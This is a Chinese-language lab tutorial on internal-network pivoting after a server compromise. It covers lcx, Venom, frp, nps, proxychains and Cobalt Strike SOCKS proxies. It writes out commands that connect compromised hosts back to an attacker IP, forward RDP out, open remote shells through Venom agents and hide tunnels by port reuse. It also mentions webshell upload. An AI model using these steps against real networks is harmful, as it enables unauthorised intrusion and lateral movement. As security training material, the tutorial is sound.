内网渗透-代理工具

正向代理与反向代理

正向代理(代理客户端)

       特点:(一对一或多对一,如下图)隐藏真实的请求客户端,客户端请求均由代理服务器进行请求,服务端不清楚真实的请求客户端。

(如:我们要访问Google,但是直接访问无法访问到,所以使用vpn,先联接到vpn上,vpn将请求发送服务器后再将数据返回用户。)

反向代理(代理服务端)

   特点:(一对多或者多对多)反向代理隐藏了真实的服务端,客户端不知道实际提供服务的服务端。

   (如:用户发送请求至服务器(此服务器为代理服务器,但是用户不知道),代理服务器将用户请求发送至真正服务器,真正的服务器将数据返回至代理服务器,代理服务器返回至用户,这个代理服务器就是反向代理服务器。)

      作用:通过反向代理服务器可以优化网站的负载。

端口转发与端口映射

端口转发(隧道)

(如:目前已经获取到服务器A的权限,通过对A信息收集发现,存在内网B服务器并且B服务器开启了某个端口(如80端口),但是直接访问B的端口是无法成功,可以将B的端口转发到A的某个端口上,我们直接访问A的端口即可。)

      端口转发就是将一个端口,这个端口可以本机的端口也可以是本机可以访问到的任意主机的端口都可以转发到任意一台可以访问到的IP上,通常这个IP是公网IP,方便我们使用。

端口映射

       将一个内网端口映射到公网上的某个端口,将这个端口的流量转发到公网主机上的某个端口。当别人访问这个被转发到公网上的端口,那么公网主机的被转发端口流量将发回给内网主机。

(如:服务器A在内网中,外网无法访问到,将A的80端口映射到公网B中的80端口,则访问B的80端口就是访问到A的80端口)

常用工具

lcx

LCX -- 常用于外网连接内网3389端口

lcx是一款强大的内网端口转发工具,用于将内网主机开放的内部端口映射到外网主机(有公网IP)任意端口。

lcx的功能:端口转发(listen和slave成对使用)、端口映射(tran)(1)端口映射(tran):(环境1)Lcx -tran <等待连接的端口> <目标ip> <目标端口>如:web服务器执行:lcx.exe-tran 8080 192.168.20.131(目标主机IP) 80 #3389同样适用,访问8080相当于访问目标IP的目标端口(80端口)(2)端口转发:(环境2) 内网主机上执行:lcx.exe –slave 公网主机ip 4444 内网主机ip 3389 #将内网主机的 3389端口转发到具有公网ip主机的 4444 端口 攻击机上执行:lcx.exe –listen 4444 5555(端口)    #监听公网主机本机的4444端口请求,并将来自4444端口的请求传送给5555端口

环境1

       攻击机(70.30)获取到web1(70.31/20.134)权限,内网中有web2(20.131),攻击机无法直接访问web2。在web1利用LCX进行端口转发,将Web1的8080端口流量转发到内网Web2的80端口上,我们访问Web服务器A的8080端口就相当于访问内网Web主机B的80端口。

     思路:攻击机先获取到web1权限,利用web1(在web1中使用端口转发工具lcx),将web1的端口流量转到web2的端口,访问web1相当于访问web2。 

ps:环境原因,期间IP会发生变化

1、获取到web服务器(70.31)权限,将lcx工具上传

2、发现web2(192.168.20.131),web2 80端口访问,显示如下图:

3、在web1中运行显示connect ok,则成功

lcx.exe-tran 8080 192.168.20.131 80#将本地8080端口流量转发到192.168.21.131的80端口上,访问8080相当于访问80

4、使用web服务器访问8080端口,发现能够访问到192.168.20.131 80端口

lcx.exe-tran 88 192.168.20.131 3389#将本地88端口流量转发到192.168.21.131的3389端口上,访问88相当于访问3389

备注:本地端口不可以被占用,若被占用,无法成功

环境2

内网端口转发,将内网主机上的3389转发到攻击机端口进行连接。

web服务器上执行:lcx.exe -slave 172.16.70.34 4444 192.168.20.139 3389攻击机上执行:lcx.exe –listen 4444 5555

1、web服务器(win2019)

2、攻击机(win10)上传马并用蚁剑连接,并使用蚁剑将lcx工具上传

3、在攻击机(win10)上执行 lcx.exe –listen 4444 5555  (监听攻击机 4444 端口请求,并将来自 4444 端口的请求传送给 5555 端口)

4、在蚁剑上执行:lcx.exe -slave 172.16.70.34 4444 192.168.20.139 3389  (将web服务器3389转发到攻击机4444端口)

5、打开攻击机远程桌面,127.0.0.1:5555进行连接  

环境3

内网主机(20.131)80端口服务显示如下:

在web服务器上执行:

(获取web服务器权限后,将lcx传至web服务器)

lcx.exe -tran 8080 192.168.20.131 80

在web服务器中访问8080:

攻击机通过蚁剑将lcx工具上传至web服务器,并执行以下命令。

web服务器上执行:lcx.exe -slave 172.16.70.34 4444 192.168.20.139 8080攻击机上执行:lcx.exe –listen 4444 5555

在攻击机中访问127.0.0.1:5555,可看到内网主机服务。

venom

Go开发的多级代理工具,Venom可将多个节点进行连接,然后以节点为跳板,构建多级代理

kali:172.16.70.56web1:172.16.70.62 192.168.22.129web2:192.168.22.131

admin节点和agent节点均可监听连接也可发起连接

环境1

多级代理及启用socks代理、节点互联(listen 、connectt)

admin监听端口,agent发起连接:

这里攻击机(70.56)进行监听,先将agent上传至web1中

./admin_linux_x64 -lport 2222agent.exe -rhost 172.16.70.56 -rport 2222

kali中执行./admin_linux_x64 -lport 2222,监听本地2222端口

web1(70.62)中执行命令:agent.exe -rhost 172.16.70.56 -rport 2222

监听成功,返回success

在70.56中执行操作,show命令可查看到连接的节点,可使用goto命令切换到节点1上,也就是web1上

执行shell,查看IP信息发现172.16.70.62   192.168.22.129

(listen命令)

(已获取web2权限情况下)   在web2(22.131)中执行 agent.exe -rhost 192.168.22.129 -rport 3333连接节点1,返回successfully,则已成功。

在70.56攻击机中,在1节点上监听本地端口3333   命令:listen 3333,返回successfully则已连接成功,使用show命令发现节点2,shell查看ip,发现ip为192.168.22.131。

(connect命令)

(已获取web2权限),在web2(22.131)中执行命令:agent.exe -lport 4444,监听本地4444端口

在kali(70.56)中节点1上执行命令connect 192.168.22.131 4444连接节点2,显示successfully后,使用show命令可查看到节点2,shell查看IP为192.168.22.131

(connect是节点1连接节点2,listen是节点2连接节点1)

开启socks代理

在节点2中开启socks5代理,命令:socks 1234

浏览器中设置socks5代理,IP为127.0.0.1,端口同样为1234

浏览器中访问成功。

环境2

端口复用

在windows上可以复用apache、mysql等服务的端口,暂时无法复用RDP、IIS等服务端口,在linux上可以复用多数服务端口。被复用的端口仍可正常对外提供其原有服务。

windows:172.16.70.62 (3306 MySQL服务)kali:172.16.70.56

Windows开启MySQL 服务(开放3306端口),windows为agent节点。执行命令:agent.exe -lhost 172.16.70.62 -reuse-port 3306

kali为admin节点,执行命令:admin_linux_x64 -rhost 172.16.70.62 -rport 3306

使用show命令可以查看到存在节点1,goto 1 节点后,可以查看信息。

同时,访问mysql正常。

环境3

rforward( 将节点的端口远程转发到admin)

kali(70.56)监听本地2222端口:./admin_linux_x64-lport 2222

web1(70.62)执行命令:agent.exe -rhost 172.16.70.56 -rport 2222

连接成功后,到 节点1中,执行命令:rforward 172.16.70.62 80 8066将节点1(web1)的80端口转发至攻击机(70.56)的8066端口,在kali中访问8066端口显示web1的80界面。

172.16.70.62 80端口页面:

环境4

上传/下载文件

admin(kali)与agent(web1)连接后

使用goto 进入节点1中,在节点1中使用download命令进行文件下载  

使用goto 进入节点1中,在节点1中使用upload命令进行文件上传。

frp

* 利用处于内网或防火墙后的机器,对外网环境提供 http 或 https 服务。* 对于 http, https 服务支持基于域名的虚拟主机,支持自定义域名绑定,使多个域名可以共用一个80端口。* 利用处于内网或防火墙后的机器,对外网环境提供 tcp 和 udp 服务,例如在家里通过 ssh 访问处于公司内网环境内的主机。

通过远程桌面访问内网环境主机

服务端配置:

1、攻击机(70.34)配置frps.ini(服务端文件),并运行

frps.exe -c frps.ini

frps.ini:[common]bind_addr = 0.0.0.0bind_port = 7000#绑定7000端口,用来跟内网的机器进行通讯,不做改变dashboard_port = 7500 # dashboard服务使用的端口 可通过浏览器进行访问dashboard_user = admin#dsahboard登录用户名及密码dashboard_pwd =

在dashboard可查看到连接信息等

客户端配置:

2、(获取web服务器权限后)将frpc.ini,frpc.exe上传至web服务器,修改frpc.ini,运行

frpc.exe -c frpc.ini

frpc.ini:[common]server_addr = 172.16.70.34#公网IPserver_port = 7000#frp服务端跟客户端通讯用的端口,默认7000 (服务端之前没有改)[RDP]type = tcplocal_ip = 127.0.0.1local_port = 3389remote_port = 6000

打开远程桌面连接成功。

     3、若能够将frpc.exe上传至内网主机中,可修改frpc.ini文件,并在内网主机中运行frpc.exe,可将frpc.ini中server_addr设为攻击机IP,在攻击机中直接远程连接内网主机。

nps

服务端(windows 172.16.70.44) 客户端(web1 70.62/22.129)

服务端下载完成后,查看nps.conf,查看后台端口、登录账户、密码以及客户端连接服务端默认端口(bridge处 8024)等,可进行修改。

使用命令 nps start启动服务端

启动后,访问后台管理:

接下来创建客户端

点击“客户端 -- 新增”,新增客户端页面,除了“验证密钥”可不填,其他均需要填写,下面选择均选择“是”,后点击新增。

完成后,在添加的客户端“隧道”处进行新增

模式选择(http代理、tcp隧道、socks代理),服务端端口自定义,后期在配浏览器代理或者proxifier时需要。

服务端完成后,(已获取web1权限),将客户端上传在web1上执行:

npc.exe -server=172.16.70.44:8024-vkey=wtbw2kxd7pc6p35h

(server 处的IP为服务端IP,端口为nps.conf的bridge处端口(可修改), vkey为服务端添加客户端后生成“唯一验证密钥”)

执行后,可在浏览器或proxifier中进行配置代理。

proxychain

在msf中使用auxiliary/server/socks4a 模块,进行配置,srvhost设置为127.0.0.1

使用 vim 在/etc/proxychains.conf 中添加socks4 127.0.0.1 1080

使用netstat -an |grep 1080 查看

尝试使用nmap对其他网段进行扫描 (此网段之前在msf中加过路由)

cs与proxifier

cs上线后,点击开启socks代理,ip为cs服务端IP,端口为socks端口(可自定义)

cs服务端IP:192.168.20.146双网卡主机:192.168.20.15410.10.10.80内网主机IP:10.10.10.10

如果存在web服务,可配置火狐代理即可访问

1、(cs已经上线),打开socks

2、打开proxifier,选择profile--proxy servers

3、add时,address的IP为cs服务端IP地址,port端口为cs开启的socks端口

4、prfile ——proxification Rules,添加新的rules即可。

5、设置代理后,可扫描10.10.10.0/24段主机端口

文中所涉及的技术、思路和工具等仅供以安全为目的的学习交流使用,任何人不得将其用于非法用途以及盈利等,否则后果自行承担!